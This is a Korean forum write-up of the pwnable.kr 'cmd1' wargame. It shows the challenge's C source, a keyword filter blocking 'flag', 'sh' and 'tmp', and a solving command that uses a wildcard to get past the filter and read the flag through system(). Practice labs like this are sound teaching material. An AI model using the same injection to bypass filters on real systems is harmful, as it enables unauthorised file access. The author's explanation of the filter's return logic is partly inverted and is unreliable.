|
http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8583 [복사]
PS C:\Users\mark> ssh cmd1@pwnable.kr -p2222
cmd1@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : daehee87@khu.ac.kr
- irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Tue Oct 22 20:36:27 2024 from
cmd1@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root cmd1 4096 Mar 23 2018 .
drwxr-xr-x 116 root root 4096 Oct 30 2023 ..
d--------- 2 root root 4096 Jul 12 2015 .bash_history
-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14 2015 cmd1
-rw-r--r-- 1 root root 320 Mar 23 2018 cmd1.c
-r--r----- 1 root cmd1_pwn 48 Jul 14 2015 flag
dr-xr-xr-x 2 root root 4096 Jul 22 2015 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
cmd1@pwnable:~$
cmd1@pwnable:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
cmd1@pwnable:~$
코드를 해석하자면 putenv로 환경변수를 등록하고
filter함수가 참을 리턴하면 프로그램을 종료한다.
생각을 곰곰히 해보니 환경변수로 권한 상승을 하는 경우와
필터 함수가 거짓을 리턴했을 때, system함수로 argv[1]값을
실행하는 것이 있는 것 같은데...
일단은 쉬운 방법이 필터 함수가 거짓(0의 값을 리턴한다면)을 리턴하면서
/bin/sh, /bin/bash와 같은 쉘을 실행시키면 권한 상승과 함께
공격이 가능하다는 결론을 도출하게 되었다.
filter 함수를 자세히 봤다.
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
filter함수가 return했을 때 그 값이 0이 아닌 값을 리턴한다면
system(argv[1])를 실행할 것이 아닌가?
filter함수를 해석해보니 'flag'문자와 'sh'문자와 'tmp'문자가 있다면
0을 리턴하여 main함수에서 system함수를 실행시킬 수 없게 된다는
결론을 도출할 수 있다.
여기서 한 가지, Linux의 bin 디렉터리에 대해 알고 넘어가보자 한다.
bin 디렉터리란?
리눅스의 /bin 디렉터리는 시스템의 기본 명령어들이 위치한 디렉터리다.
이 디렉터리에는 일반 사용자와 시스템 관리자 모두가 사용할 수 있는
핵심적인 명령어들이 포함되어 있다.
/bin의 주요 특징은 다음과 같다:
1. 기본 명령어 위치
/bin에는 파일 시스템의 기본 관리, 네트워크 설정, 파일 조작 등의 작업을
수행하는 데 필요한 명령어들이 포함되어 있다.
예를 들어, ls, cp, mv, rm, cat, echo 등이 여기에 속한다.
또한 비슷한 디렉터리로 /usr/bin이 있는데,
/usr/bin에는 부팅 이후 일반적인 작업에 사용되는 명령어들이 포함된다.
/bin과는 달리 /usr/bin은 필수 시스템 명령어 외에
추가적인 응용 프로그램을 제공한다.
리눅스 명령어중에 파일 내용을 읽는 명령어인 cat이라는 명령어가 있다.
그리고 flag라는 값을 읽어야 되는데 *(애스터리스크라고 부름)를 입력하면...
'ab*'라고 입력하면 fl뒤에 어떤 문자가 오든 ab만 온다면 모든 문자를 포함하고
'*cd'라고 입력하면 'cd'문자 앞에 어떤 문자가 오든 모든 문자를 포함한다.
사실 내가 쓰고도 내가 무슨 말 하는지 모르겠는데
필자의 부족한 필력을 이해하길 바란다...
cmd1@pwnable:~$ ./cmd1 "/bin/cat fl*"
이렇게 입력하면 cmd1의 flag값이 출력된다. |
Hit : 265 Date : 2024/10/23 10:04
|
1597, 
1/80 
